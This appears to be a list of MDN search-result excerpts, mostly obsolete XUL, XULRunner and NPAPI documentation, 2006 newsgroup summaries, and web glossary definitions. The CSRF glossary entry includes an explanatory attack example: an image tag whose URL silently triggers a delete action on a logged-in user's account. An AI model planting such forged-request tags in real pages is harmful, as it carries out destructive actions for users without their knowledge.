attributes crop, description, title examples <?xml version="1.0"?> <?xml-stylesheet href="chrome://global/skin/global.css" type="text/css"?> <dialog id="donothing" title="dialog example" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <dialogheader title="my dialog" description="example dialog"/> <!-- other widgets --> </dialog> attributes crop type: one of the values below if the label of the element is too big to fit in its given space, the text will be cropped on the side specified by the crop attribute.
menupopup - Archive of obsolete content
<menulist> <menupopup> <menuitem label="mozilla" value="http://mozilla.org"/> <menuitem label="slashdot" value="http://slashdot.org"/> <menuitem label="sourceforge" value="http://sf.net"/> <menuitem label="freshmeat" value="http://freshmeat.net"/> </menupopup> </menulist> the following example shows how a menupopup can be used as a context menu for an element.
notificationbox - Archive of obsolete content
also it is possible to call function with the same name (they are different) of global object gbrowser: notifybox = gbrowser.getnotificationbox() examples <notificationbox flex="1"> <browser src="http://www.mozilla.org"/> </notificationbox> there is a more complex code available in the code snippets area.
preference - Archive of obsolete content
window, document, or any of the functions/objects/variables bound to the window object event object example <?xml version="1.0"?> <?xml-stylesheet href="chrome://global/skin/" type="text/css"?> <window id="findfile-window" title="find files" orient="horizontal" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <script type="text/javascript"> function myfunction(e){ /* do something cool here or just say the below */ alert(e.target.nodename); } </script> <textbox id="find-text" onchange="return myfunction(event);"/> </window> readonly type: boolean if set to true, then the user cannot change the value of the el...
resizer - Archive of obsolete content
attributes dir, element, type examples resizing a window <window xmlns="http://www.mozilla.org/keymaster/gat...re.is.only.xul" hidechrome="true" windowtype="main" orient="vertical" sizemode="normal" width="400" height="300" persist="screenx screeny width height"> <hbox flex="1"> <vbox width="2" style="background-color: grey;"> <resizer dir="topleft" height="2" style="cursor: nw-resize;"/> <resizer dir="left" flex="1" style="cursor: w-resize;"/> <resizer ...
script - Archive of obsolete content
attributes src, type examples <script src="test.js"/> <script src="http://example.com/js/test.js"/> <script> function foo(){ // code } </script> attributes src type: uri the uri of the script.
tabbrowser - Archive of obsolete content
the http referer header is set accordingly.
titlebar - Archive of obsolete content
<?xml version="1.0"?> <window title="movable hud window" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul" width="300" height="200" style="background: transparent; -moz-appearance: none;"> <titlebar flex="1" oncommand="close()" style="background: rgba(30, 30, 30, 0.9); -moz-border-radius: 10px; -moz-box-shadow: 0 1px 8px rgba(0, 0, 0, 0.8); margin: 8px 12px 1...
toolbox - Archive of obsolete content
properties accessible, customtoolbarcount, externaltoolbars, palette, toolbarset methods appendcustomtoolbar, collapsetoolbar, expandtoolbar examples <?xml version="1.0"?> <?xml-stylesheet href="chrome://global/skin/" type="text/css"?> <window id="yourwindow" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul" title="toolbox example" width="300"> <toolbox> <toolbar> <toolbarbutton label="back"/> <toolbarbutton label="forward"/> <toolbarbutton label="home"/> </toolbar> <toolbar> <toolbarbutton label="stop"/> <toolbarbutton label="reload"/> </toolbar> </toolbox> <textbox multiline="true" value="w...
tree - Archive of obsolete content
ArchiveMozillaXULtree
xul for the tree: <?xml version="1.0"?> <?xml-stylesheet href="chrome://global/skin/" type="text/css"?> <?xml-stylesheet href="file://c:/main.css" type="text/css"?> <window xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <row><button label="getrowvalues" oncommand="getrowcellvalues();"/></row> <tree flex="1" editable="true" id="mytree"> <treecols> <treecol label="active" type="checkbox" editable="true" /> <treecol label="name" flex="1" id="name"/> </treecols> <treechildren> <treeitem> <treerow> <treecell value="false"/>...
Building XULRunner - Archive of obsolete content
for example, to build xulrunner with the top of the tree: hg clone http://hg.mozilla.org/mozilla-central/ src cd src echo ".
CommandLine - Archive of obsolete content
.getservice(components.interfaces.nsiobserverservice); observerservice.notifyobservers(window.arguments[0], "commandline-args-changed", null); addeventlistener("unload", observer.unregister, false); finally, add a reference in your application window to the observer: chrome/content/window.xul <?xml version="1.0"?> <?xml-stylesheet href="chrome://global/skin/" type="text/css"?> <window xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul" id="main" title="&window.title;" windowtype="xulmine" style="width: 300px; height: 350px;" persist="screenx screeny width height sizemode"> <script type="application/javascript" src="cmdline.js" /> ...
Creating a Windows Inno Setup installer for XULRunner applications - Archive of obsolete content
[setup] appname=my app appvername=my app 1.0 apppublisher=mark finkle apppublisherurl=http://developer.mozilla.org/en/docs/getting_started_with_xulrunner appsupporturl=http://developer.mozilla.org/en/docs/getting_started_with_xulrunner appupdatesurl=http://developer.mozilla.org/en/docs/getting_started_with_xulrunner defaultdirname={pf}\my app defaultgroupname=my app allownoicons=yes outputdir=..\build\output outputbasefilename=myapp-1.0-win32 ; setupiconfile= compression=lzma solidcomp...
Deploying XULRunner - Archive of obsolete content
here's a sample one: <?xml version="1.0" encoding="utf-8"?> <!doctype plist public "-//apple computer//dtd plist 1.0//en" "http://www.apple.com/dtds/propertylist-1.0.dtd"> <plist version="1.0"> <dict> <key>cfbundledevelopmentregion</key> <string>english</string> <key>cfbundleexecutable</key> <string>xulrunner</string> <key>cfbundlegetinfostring</key> <string>1.0</string> <key>cfbundleiconfile</key> <string>app_icon.icns</string> <key>cfbundleidentifier</key> <string>net.yourcompany.yourapplication</string> <key...
XULRunner Hall of Fame - Archive of obsolete content
an updated version of "mybrowser" that works with firefox 25.0.1+ is available in matthew kastor's xulrunner examples at https://github.com/matthewkastor/xulrunner-examples/ exch a currency conversion tool using updated data from http://finance.yahoo.com/currency.
How to enable locale switching in a XULRunner application - Archive of obsolete content
ulchromeregistry); var toolkitchromereg = chromeregservice.queryinterface(components.interfaces.nsitoolkitchromeregistry); var selectedlocale = xulchromereg.getselectedlocale("localeswitchdemo"); var availablelocales = toolkitchromereg.getlocalesforpackage("localeswitchdemo"); // render locale menulist by iterating through the query result from getlocalesforpackage() const xul_ns = "http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"; var localelistbox = document.getelementbyid("locale-listbox"); var selecteditem = null; while(availablelocales.hasmore()) { var locale = availablelocales.getnext(); var listitem = document.createelementns(xul_ns, "listitem"); listitem.setattribute("value", locale); listitem.setattribute("label", locale); i...
MacFAQ - Archive of obsolete content
ner app is already running, so: create a default preference of "browser.chromeurl" that points to your new "hiddenwindow" as such: "chrome://myxul/content/hiddenwindow.xul" next take the code below and drop it in, to create the hiddenwindow.xul (note: the debug function and nsicommandline try/catch can be removed, all you need is the window.arguments[0]) <?xml version="1.0"?> <window xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul" id="myxul_hidden" windowtype="myxul:hiddenwindow" title="" width="0" height="0" persist="screenx screeny width height sizemode" > <!-- load the mozilla helpers --> <script type="application/javascript" src="chrome://global/content/nsusersettings.js" /> <script><![cdata[ function debug(alogstring) { ...
Using Crash Reporting in a XULRunner Application - Archive of obsolete content
to enable crash reporting on the client, set the following items in application.ini: [crash reporter] enabled=true serverurl=https://your.server.url/submit note: because crash reports can contain private data including passwords, in production environments they should only be sent via https.
What XULRunner Provides - Archive of obsolete content
the following features are either already implemented or planned: gecko features xpcom networking gecko rendering engine dom editing and transaction support (no ui) cryptography xbl (xbl2 planned) xul svg xslt xml extras (xmlhttprequest, domparser, etc.) web services (soap) auto-update support (not yet complete) type ahead find toolbar history implementation (the places implementation in the 1.9 cycle) accessibility support ipc services for communication between gecko-based apps (not yet complete) storage/sqlite interfaces user interface features the following user interface is supplied by xulrunner, and ma...
Mozprocess - Archive of obsolete content
basic usage: process = processhandler(['command', '-line', 'arguments'], cwd=none, # working directory for cmd; defaults to none env={}, # environment to use for the process; defaults to os.environ ) exit_code = process.waitforfinish(timeout=60) # seconds see an example in https://github.com/mozilla/mozbase/b...profilepath.py processhandler may be subclassed to handle process timeouts (by overriding the ontimeout() method), process completion (by overriding onfinish()), and to process the command output (by overriding processoutputline()).
symsrv_convert - Archive of obsolete content
for me this was c:/windows/syswow64/ ./symsrv_convert.exe http://msdl.microsoft.com/download/symbols /c/symcachet d3d10_1.pdb 64bce4f6b72340f19c453569a3f4a13b1 to build symsrv_convert you'll need to use google-breakpad/src/tools/windows/converter ...
xbDesignMode.js - Archive of obsolete content
you may obtain a copy of the license at * http://www.mozilla.org/mpl/ * * software distributed under the license is distributed on an "as is" basis, * without warranty of any kind, either express or implied.
Mozilla.dev.apps.firefox-2006-09-29 - Archive of obsolete content
the distributor university students working on cache distribution project - looking for help for how to tap the http requests.
2006-11-22 - Archive of obsolete content
if anyone has experience with these issues, and is comfortable helping out in the mozilla/accessible module, would you please take a look at https://bugzilla.mozilla.org/show_bug.cgi?id=166994 he stated that he almost had it working a couple of years ago.
2006-09-29 - Archive of obsolete content
the distributor university students working on cache distribution project - looking for help for how to tap the http requests.
2006-10-06 - Archive of obsolete content
https://bugzilla.mozilla.org/show_bug.cgi?id=354866 taking moz180-linux-tbox down temporarily oct 6th early afternoon (pdt) on october 5th rob helmer announced that: he will be taking the 1.8.0 branch (en-us and l10n) linux tinderbox down tomorrow afternoon (oct 6th, pdt) in order to clone the disks and create a staging server for the release automation work.
2006-10-20 - Archive of obsolete content
he can be contacted via: email: preed@mozilla.com irc: preed on irc.mozilla.org phone: 650.903.0800 x256 uploading language packs to amo on october 17th benjamin smedberg brought the following to the attention of the localizers and the build team: that he is planning to upload the firefox 2 language packages currently located at http://releases.mozilla.org/pub/mozi...rc3/win32/xpi/ to addons.mozilla.org in the next few days.
2006-11-3 - Archive of obsolete content
revisiting mozillatranslator bugs in bugzilla revisiting mozillatranslator bugs in bugzilla dictionary packages there are some dictionaries at http://dictionaries.mozdev.org/installation.html which are not at https://addons.mozilla.org/en/dictionaries.
2006-10-27 - Archive of obsolete content
visit http://www.getfirefox.com/ discussions firefox 3 feature prioritizing rudi gens pointed out that hundreds of edits have been done to the firefox 3 feature brainstorming page.
2006-10-06 - Archive of obsolete content
they are tracking issues on http://wiki.mozilla.org/vistalab , and on #vista on irc.
2006-10-27 - Archive of obsolete content
cross-domain testing - someone is suggesting that there needs to be some way of running cross-domain tests (security, web compat, etc), and is wondering if it's possible with the current test http server?
2006-11-24 - Archive of obsolete content
summary: mozilla.dev.quality - november 18-november 24, 2006 announcements none discussions firefox 1.5.0.7 on linux x86_64 - someone is having a problem with xhttprequest.
2006-11-03 - Archive of obsolete content
more information about ca can be found at http://www.cabforum.org/ meetings none during this week.
2006-11-17 - Archive of obsolete content
extended validation certificates a note as to how opera is handling extended validation certificates http://labs.opera.com/news/2006/10/09/ fwd: re: mozilla questions regarding the ev standard gervase markham posted a summary of questions emailed to kelvin yiu about the extended validation certificates.
2006-12-01 - Archive of obsolete content
discussions protocol security daniele rizzo posted a question as to whether or not it is possible to enable/disable the privilege of universalxpconnect in a 'entire' protocol (http://, file://).
2006-11-17 - Archive of obsolete content
nightly builds, instructions and the current list of known regressions on the branch can be found at: http://wiki.mozilla.org/gecko:reflow...ng#quick_links.
2006-10-27 - Archive of obsolete content
discussions evalinsandbox and xmlhttprequest a discussion about writing something that calls a function defined by the page that the user is currently on chrome files and last modified date ways to retrieve the last modified date of a chrome file that may be in a jar or on the file system.
2006-11-10 - Archive of obsolete content
discussions developing an extension like xmlhttprequest / nsidocument / mozilla_internal_api a discussion on how to develop an extension similar to xmlhttprequest but for a different protocol than http, emulating the asynchronous aspect.
2006-11-24 - Archive of obsolete content
n development tutorials on developing extensions which use the third party libraries for firefox references to mozilla api exposed javascript component + xmldocument not accessible a discussion on error: uncaught exception: permission denied to get property xmldocument.textcontent creating xpcom components a good discussion about "components.classes[cid] has no properties" error firefox http explanation about how firefox handles the http aspect meetings none during this week.
2006-12-08 - Archive of obsolete content
saving binary data from nsixmlhttprequest a discussion on how to use nsixmlhttprequest object to query data from a url in an extension implemented in javascript meetings none during this week.
NPAPI plugin developer guide - Archive of obsolete content
deleted finding out how much data the plug-in can accept writing the stream to the plug-in sending the stream in random-access mode sending the stream in file mode sending a stream creating a stream pushing data into the stream deleting the stream example of sending a stream urls getting urls getting the url and displaying the page posting urls posting data to an http server uploading files to an ftp server sending mail memory allocating and freeing memory mac os flushing memory (mac os only) version, ui, and status information displaying a status line message getting agent information getting the current version finding out if a feature exists reloading a plug-in ...
NPN_GetURLNotify - Archive of obsolete content
can be of any type, such as http, ftp, news, or mailto.
NPN_GetValueForURL - Archive of obsolete content
description this entry point is designed to allow plugins which implement their own http stacks to form requests to the web server in the same way the browser does.
NPN_RequestRead - Archive of obsolete content
typically, the only streams that are inherently seekable are those from in-memory or on-disk data, or from http servers that support byte-range requests.
NPN_UserAgent - Archive of obsolete content
description the user agent is the part of the http header that identifies the browser during transfers.
NPP_NewStream - Archive of obsolete content
stream supports random access through calls to npn_requestread (for example, local files or http servers that support byte-range requests).
NP_GetMIMEDescription - Archive of obsolete content
one mime type // example inside http://mxr.mozilla.org/mozilla-central/source/modules/plugin/sdk/samples/basic/unix/plugin.cpp #define mime_type_description "application/basic-plugin:bsp:basic example plug-in for mozilla" const char* np_getmimedescription(void) { return(mime_types_description); } two mime types const char* np_getmimedescription(void) { return "application/basic-example-plugin:xmp1:example 1;application/basic-example2-...
NPAPI plugin reference - Archive of obsolete content
npn_getauthenticationinfo the function is called by plugins to get http authentication information from the browser.
Shipping a plugin as a Toolkit bundle - Archive of obsolete content
for a plugin the manifest only needs to be very simple: <rdf xmlns="http://www.w3.org/1999/02/22-rdf-syntax-ns#" xmlns:em="http://www.mozilla.org/2004/em-rdf#"> <description about="urn:mozilla:install-manifest"> <em:id>mypluginid@myplugin.com</em:id> <em:name>my plugin</em:name> <em:version>1.0</em:version> <em:targetapplication> <description> <em:id>{ec8030f7-c20a-464f-9b0e-13a3a9e97384}</em:id> <em:minversion>1.5</em:minversio...
The First Install Problem - Archive of obsolete content
for example, in our case, a prospective invocation might look like: <object classid="@mycompany.com/myapplication,version=5.01" data="myfile.typ" codebase="http://myurl.com/myplugin/myplugin.xpi" type="application/x-myapp"></object> the use of both "type" and "classid" attributes here offers the following user benefit: if there is another mimetype handler for application/x-myapp, only myapplication gets invoked.
Proposal - Archive of obsolete content
uses an http "content-type" parameter to hint at an rss feeds disposition type -- to hint at what is being syndicated.
Use Case - Archive of obsolete content
use cases between rss aggregators and rss feeds polling rss feeds figuring out which version of rss 0.91 you have how to handle enclosures http mime type handling use cases between users and rss feeds subscribing to an rss feed ...
.htaccess ( hypertext access ) - Archive of obsolete content
redirect 301 / http://example.com/ # redirect the traffic to the directory to example.com , permanent redirect redirect 302 / http://example.com/ # redirect the traffic to the directory to example.com , temporary redirect blocking : htaccess also facilitates blocking traffic based on ip and ip range, also, use to block bad bots, rippers, and referrers; often used to restrict access by search engine sp...
Introduction to Public-Key Cryptography - Archive of obsolete content
for comprehensive information about dns, see a string representation of distinguished names] at the following url: https://www.ietf.org/rfc/rfc1485.txt a typical certificate every x.509 certificate consists of two sections: the data section includes the following information: the version number of the x.509 standard supported by the certificate.
SSL and TLS - Archive of obsolete content
for more information, see http://csrc.nist.gov/publications/nistpubs/800-57/sp800-57-part1.pdf.
Sunbird Theme Tutorial - Archive of obsolete content
copy and paste the content from here, making sure that you scroll to get all of it: <?xml version="1.0"?> <rdf xmlns="http://www.w3.org/1999/02/22-rdf-syntax-ns#" xmlns:em="http://www.mozilla.org/2004/em-rdf#"> <description about="urn:mozilla:install-manifest" em:id="just-testing@example.com" em:name="just testing" em:creator="rod whiteley" em:description="a test theme for sunbird" em:homepageurl="http://developer.mozilla.org/" em:version="0.1" em:internalname="testing" em:type=...
UUID - Archive of obsolete content
uuid: universal unique identifier a uuid can be obtained by visiting http://www.famkruithof.net/uuid/uuidgen or by typing "firebot: uuid?" on irc.mozilla.org in a channel where nickname "firebot" is present.
contents.rdf - Archive of obsolete content
copy the following text and paste it into a text file, then save that file as "contents.rdf": <?xml version="1.0"?> <rdf:rdf xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#" xmlns:chrome="http://www.mozilla.org/rdf/chrome#"> <!-- list all the skins being supplied by this theme --> <rdf:seq about="urn:mozilla:skin:root"> <rdf:li resource="urn:mozilla:skin:my_theme"/> </rdf:seq> <rdf:description about="urn:mozilla:skin:my_theme" chrome:displayname="my theme" chrome:accesskey="n" chrome:author="" chrome:authorurl="" chrome:description="" chrome:name="my_theme" chrome:image="preview.png"> <chrome:packages> <rdf:seq about="urn:mozilla:skin:my_theme:packages"> <rdf:li resource="urn:mozilla:skin:my_t...
install.rdf - Archive of obsolete content
copy the following text and paste it into a text file, then save that file as "install.rdf": <?xml version="1.0"?> <rdf xmlns="http://www.w3.org/1999/02/22-rdf-syntax-ns#" xmlns:em="http://www.mozilla.org/2004/em-rdf#"> <description about="urn:mozilla:install-manifest"> <em:id>{themes_uuid}</em:id> <em:version>themes_version</em:version> <!-- target application this extension can install into, with minimum and maximum supported versions.
Theme changes in Firefox 2 - Archive of obsolete content
changes in browser bookmarks/addbookmark.css the addbookmarks.css file should have the following lines added to the top: @namespace url("http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"); @namespace html url("http://www.w3.org/1999/xhtml"); some microsummary-related css also needs to be added, to provide formatting for the microsummary picker.
Developing cross-browser and cross-platform pages - Archive of obsolete content
more on object/feature support detection: a strategy that works: object/feature detecting by comp.lang.javascript newsgroup faq notes browser detection - no; object detection - yes by peter-paul koch also good http://developer.mozilla.org/docs...rowser_support but outdated in my opinion ...
Summary of Changes - Archive of obsolete content
http://www.w3.org/tr/2004/rec-dom-le...e3-textcontent ie5+ elemref.style.pixeltop dom level 2: parseint(elemref.style.top, 10) ie5+ elemref.style.pixelleft = x; elemref.style.pixeltop = y; dom level 2: elemref.style.left = x + "px"; elemref.style.top = y + "px"; ie5+ new activexobject("microsoft.xmlhttp") new xmlhttprequest() proprietary or deprecated ...
Using Web Standards in your Web Pages - Archive of obsolete content
contents benefits of using web standards making your page using web standards - how to using the w3c dom developing cross browser and cross platform pages using xmlhttprequest summary of changes references original document information author(s): mike cowperthwaite, marcio galli, jim ley, ian oeschger, simon paquet, gérard talbot last updated date: may 29, 2008 copyright information: portions of this content are © 1998–2008 by individual mozilla.org contributors; content available under a creative commons license | details.
-ms-scrollbar-3dlight-color - Archive of obsolete content
code example: http://samples.msdn.microsoft.com/workshop/samples/author/dhtml/refs/scrollbarcolor.htm <!doctype html> <html> <head> <title>scrollbar-3dlight-color</title> <style> .blue3dlight { -ms-scrollbar-3dlight-color: blue; scrollbar-3dlight-color: blue; /* use the standard when available.
-ms-scrollbar-darkshadow-color - Archive of obsolete content
code example: http://samples.msdn.microsoft.com/workshop/samples/author/dhtml/refs/scrollbarcolor.htm <!doctype html> <html> <head> <title>scrollbar-darkshadow-color</title> <style> .blueshadow { scrollbar-darkshadow-color: blue; } </style> </head> <body> <textarea class="blueshadow">the gutter elements in the scroll bar for this element will be blue.</textarea> </body> </html> specific...
E4X - Archive of obsolete content
ArchiveWebE4X
workaround: var response = xmlhttprequest.responsetext; // bug 270553 response = response.replace(/^<\?xml\s+version\s*=\s*(["'])[^\1]+\1[^?]*\?>/, ""); // bug 336551 var e4x = new xml(response); resources e4x tutorial processing xml with e4x on mdc e4x for templating see the list of e4x-related pages on mdc ecma-357 standard brendan's presentation e4x at faqts.com e4x quick reference at rephrase.net ...
ECMAScript 2016 to ES.Next support in Mozilla - Archive of obsolete content
see https://bugzilla.mozilla.org/show_bug.cgi?id=1336740 and https://bugzilla.mozilla.org/show_bug.cgi?id=578700.
Building Mozilla XForms - Archive of obsolete content
starting with firefox 3.5, you need to do two more mercurial checkouts: cd extensions hg clone http://hg.mozilla.org/xforms hg clone http://hg.mozilla.org/schema-validation that's it, you now have everything you need to get started.
XForms Alert Element - Archive of obsolete content
examples <xforms:model> <xforms:instance> <data xmlns=""> <x>10</x> </data> </xforms:instance> <xforms:bind id="x" nodeset="x" type="xsd:integer"/> </xforms:model> <style> @namespace xforms url("http://www.w3.org/2002/xforms"); xforms|input:invalid xforms|alert.inline { display: inline; font-style: italic; width: 40%; } } </style> <xforms:input bind="x"> <xforms:label>you can type only numbers (validation happens on blur): </xforms:label> <xforms:alert>wrong value!
XForms Input Element - Archive of obsolete content
labelposition - a mozilla xforms extension in the namespace http://www.mozilla.org/projects/xfor...009/extensions.
XForms Repeat Element - Archive of obsolete content
example <xforms:model id="i_model"> <xforms:instance xmlns=""> <data xmlns:html="http://www.w3.org/1999/xhtml" xmlns=""> <val id="1"> <nest>nest 1.1</nest> <nest>nest 1.2</nest> </val> <val id="2"> <nest>nest 2.1</nest> <nest>nest 2.2</nest> </val> </data> </xforms:instance> </xforms:model> <div xforms:repeat-nodeset="val"> this is the inline content, just text.
Using XForms and PHP - Archive of obsolete content
to get a dom document on php 4 i usually do something like this: $data = $http_raw_post_data; $dom = domxml_open_mem($data); $root = $dom->document_element(); ...
Mozilla's DOCTYPE sniffing - Archive of obsolete content
the system identifier "http://www.ibm.com/data/dtd/v11/ibmxhtml1-transitional.dtd" (before 1.5b and 1.4.2, this triggered almost standards mode).
Archive of obsolete content
using firebug and jquery (screencast) note: this screencast is originally from: http://ejohn.org/blog/hacking-digg-w...ug-and-jquery/ using io timeout and interrupt on nt this technical memo is a cautionary note on using netscape portable runtime's (nspr) io timeout and interrupt on windows nt 3.51 and 4.0.
Community - Extensions
mozillazine extensions & themes forum #extdev channel on moznet irc network — extension development questions #addons channel on moznet irc network — questions about http://addons.mozilla.org mozdev project owners mailing list mozillazine knowledge base allyourideas — ideas for extensions ((really needs a unique captcha)) babelzilla — a community for developers and translators of extension for mozilla applications ...
Introduction to game development for the Web - Game development
xmlhttprequest and file api the combination of xmlhttprequest and the file api lets you send and receive any kind of data you want (don't let the "xml" throw you!) from a web server.
Building up a basic demo with PlayCanvas editor - Game development
when you are ready to continue with our tutorial, go to your canvas homepage — for example mine is https://playcanvas.com/end3r.
GLSL Shaders - Game development
final code html <script src="https://end3r.github.io/mdn-games-3d/shaders/js/three.min.js"></script> <script id="vertexshader" type="x-shader/x-vertex"> void main() { gl_position = projectionmatrix * modelviewmatrix * vec4(position.x+10.0, position.y, position.z+5.0, 1.0); } </script> <script id="fragmentshader" type="x-shader/x-fragment"> void main() { gl_fragcolor = vec4(0.0, 0.58, 0.86, 1.0); } ...
Crisp pixel art look with image-rendering - Game development
mage-rendering: -webkit-crisp-edges; image-rendering: pixelated; image-rendering: crisp-edges; } and some javascript to set up the canvas and load the image: // get canvas context var ctx = document.getelementbyid('game').getcontext('2d'); // load image var image = new image(); image.onload = function () { // draw the image into the canvas ctx.drawimage(image, 0, 0); } image.src = 'https://udn.realityripple.com/samples/11/a2954fe197.png'; this code used together produces the following result: note: you can check out the original code on github (and a live example.) ...
Plug-in Development Overview - Gecko Plugin API Reference
working with urls the plug-in api provides methods that plug-ins can use to retrieve data from or post data to a url anywhere on the network, provide hyperlinks to other documents, post form data to cgi scripts using http, or upload files to a remote server using ftp.
404 - MDN Web Docs Glossary: Definitions of Web-related terms
learn more list of http response codes advice for beginners on avoiding 404 errors ...
Ajax - MDN Web Docs Glossary: Definitions of Web-related terms
ajax, which initially stood for asynchronous javascript and xml, is a programming practice of building complex, dynamic webpages using a technology known as xmlhttprequest.
ALPN - MDN Web Docs Glossary: Definitions of Web-related terms
important protocol identifiers: protocol identification sequence http/1.1 0x68 0x74 0x74 0x70 0x2f 0x31 0x2e 0x31 ("http/1.1") http/2 0x68 0x32 ("h2") http/2 over cleartext tcp 0x68 0x32 0x63 ("h2c") specifications specification status notes rfc 7301 ietf rfc initial definition.
Asynchronous - MDN Web Docs Glossary: Definitions of Web-related terms
for example, the ajax (asynchronous javascript and xml) programming technique—now usually simply "ajax", even though json is usually used rather than xml in modern applications—is a mechanism that requests relatively small amounts of data from the server using http, with the result being returned when available rather than immediately.
CORS-safelisted request header - MDN Web Docs Glossary: Definitions of Web-related terms
a cors-safelisted request header is one of the following http headers: accept, accept-language, content-language, content-type.
CORS-safelisted response header - MDN Web Docs Glossary: Definitions of Web-related terms
a cors-safelisted response header is an http header which has been safelisted so that it will not be filtered when responses are processed by cors, since they're considered safe (as the headers listed in access-control-expose-headers).
CSP - MDN Web Docs Glossary: Definitions of Web-related terms
the implementation is based on an http header called content-security-policy.
CSRF - MDN Web Docs Glossary: Definitions of Web-related terms
this can be done, for example, by including malicious parameters in a url behind a link that purports to go somewhere else: <img src="https://www.example.com/index.php?action=delete&id=123"> for users who have modification permissions on https://www.example.com, the <img> element executes action on https://www.example.com without their noticing, even if the element is not at https://www.example.com.
Cache - MDN Web Docs Glossary: Definitions of Web-related terms
a cache (web cache or http cache) is a component that stores http responses temporarily so that it can be used for subsequent http requests as long as it meets certain conditions.
Code splitting - MDN Web Docs Glossary: Definitions of Web-related terms
see also bundling lazy loading http/2 tree shaking ...
Favicon - MDN Web Docs Glossary: Definitions of Web-related terms
note, however, that most modern browsers replaced the favicon from the address bar by an image indicating whether or not the website is using https.
Fetch metadata request header - MDN Web Docs Glossary: Definitions of Web-related terms
a fetch metadata request header is a http request header that provides additional information about the context the request originated from.
Forbidden response header name - MDN Web Docs Glossary: Definitions of Web-related terms
a forbidden response header name is an http header name (either `set-cookie` or `set-cookie2`) that cannot be modified programmatically.
Function - MDN Web Docs Glossary: Definitions of Web-related terms
// declared functions can't be called immediately this way // error (https://en.wikipedia.org/wiki/immediately-invoked_function_expression) /* ​function foo() { console.log('hello foo'); }(); */ // function expressions, named or anonymous, can be called immediately (function foo() { console.log("hello foo"); }()); (function food() { console.log("hello food"); })(); (() => console.log('hello world'))(); if you'd like to know more about iifes, check ou...
General header - MDN Web Docs Glossary: Definitions of Web-related terms
a general header is an http header that can be used in both request and response messages but doesn't apply to the content itself.
ICE - MDN Web Docs Glossary: Definitions of Web-related terms
the framework algorithm looks for the lowest-latency path for connecting the two peers, trying these options in order: direct udp connection (in this case—and only this case—a stun server is used to find the network-facing address of a peer) direct tcp connection, via the http port direct tcp connection, via the https port indirect connection via a relay/turn server (if a direct connection fails, e.g., if one peer is behind a firewall that blocks nat traversal) learn more general knowledge webrtc, the principal web-related protocol which uses ice webrtc protocols technical reference rfc 5245, the ietf specification for ice rtcicecandidate, the interface ...
JavaScript - MDN Web Docs Glossary: Definitions of Web-related terms
node.js - built using chrome's v8 javascript engine - allows developers to use javascript as a scripting language to automate things on a computer and build fully functional http and web sockets servers.
MVC - MDN Web Docs Glossary: Definitions of Web-related terms
however, these days, more of the logic is pushed to the client with the advent of client-side data stores, and xmlhttprequest allowing partial page updates as required.
Navigation directive - MDN Web Docs Glossary: Definitions of Web-related terms
learn more https://www.w3.org/tr/csp/#directives-navigation other kinds of directives: fetch directive document directive reporting directive block-all-mixed-content upgrade-insecure-requests require-sri-for trusted-types content-security-policy ...
PAC - MDN Web Docs Glossary: Definitions of Web-related terms
a proxy auto-configuration file (pac file) is a file which contains a function, findproxyforurl(), which is used by the browser to determine whether requests (including http, https, and ftp) should go directly to the destination or if they need to be forwarded through a web proxy server.
Packet - MDN Web Docs Glossary: Definitions of Web-related terms
references used : https://en.wikipedia.org/wiki/network_packet https://en.m.wikipedia.org/wiki/hop_(networking) https://www.techradar.com/news/computing/how-error-detection-and-correction-works-1080736 ...
Port - MDN Web Docs Glossary: Definitions of Web-related terms
for example, the default port for the http protocol is 80 and the default port for the https protocol is 443, so a http server waits for requests on those ports.
Response header - MDN Web Docs Glossary: Definitions of Web-related terms
a response header is an http header that can be used in an http response and that doesn't relate to the content of the message.
Robots.txt - MDN Web Docs Glossary: Definitions of Web-related terms
learn more general knowledge robots.txt on wikipedia https://developers.google.com/search/reference/robots_txt standard specification draft: https://tools.ietf.org/html/draft-rep-wg-topic https://www.robotstxt.org/ ...
SPA (Single-page application) - MDN Web Docs Glossary: Definitions of Web-related terms
an spa (single-page application) is a web app implemention that loads only a single web document, and then updates the body content of that single document via javascript apis such as xmlhttprequest and fetch when different content is to be shown.
Server Timing - MDN Web Docs Glossary: Definitions of Web-related terms
see also https://www.w3.org/tr/server-timing/ resource timing ...
Session Hijacking - MDN Web Docs Glossary: Definitions of Web-related terms
protection against session hijacking create a secure communication channel with ssh (secure shell) pass authentication cookies over https connection implement logout functionality so the user can end the session generate the session id after successful login pass encrypted data between the users and the web server use a string or long random number as a session key learn more general knowledge session hijacking on wikipedia ...
Site - MDN Web Docs Glossary: Definitions of Web-related terms
examples of the same site https://developer.mozilla.org/docs/ https://support.mozilla.org/ same site because the registrable domain of mozilla.org is the same http://example.com:8080 https://example.com same site because scheme and port are not relevant examples of different site https://developer.mozilla.org/docs/ https://example.com not same site because the registrable domain o...
Synchronous - MDN Web Docs Glossary: Definitions of Web-related terms
learn more technical reference asynchronous synchronous and asynchronous requests using the xmlhttprequest() api ...
TCP handshake - MDN Web Docs Glossary: Definitions of Web-related terms
the three message mechanism is designed so that two computers that want to pass information back and forth to each other can negotiate the parameters of the connection before transmitting data such as http browser requests.
TCP slow start - MDN Web Docs Glossary: Definitions of Web-related terms
see also populating the page: how browsers work http overview ...
TTL - MDN Web Docs Glossary: Definitions of Web-related terms
caching in the context of caching, ttl (as an unsigned 32-bit integer) being a part of the http response header or the dns query, indicates the amount of time in seconds during which the ressource can be cached by the requester.
WebDAV - MDN Web Docs Glossary: Definitions of Web-related terms
webdav (web distributed authoring and versioning) is an http extension that lets web developers update their content remotely from a client.
Web standards - MDN Web Docs Glossary: Definitions of Web-related terms
this non-exhaustive list gives you an idea of which standards websites and network systems must conform to: ietf (internet engineering task force): internet standards (std), which among other things govern set-up and use of uris, http, and mime w3c: specifications for markup language (e.g., html), style definitions (i.e., css), dom, accessibility iana (internet assigned numbers authority): name and number registries ecma intl.: scripting standards, most prominently for javascript iso (international organization for standardization): standards governing a diverse array of aspects, including character encodings, website mana...
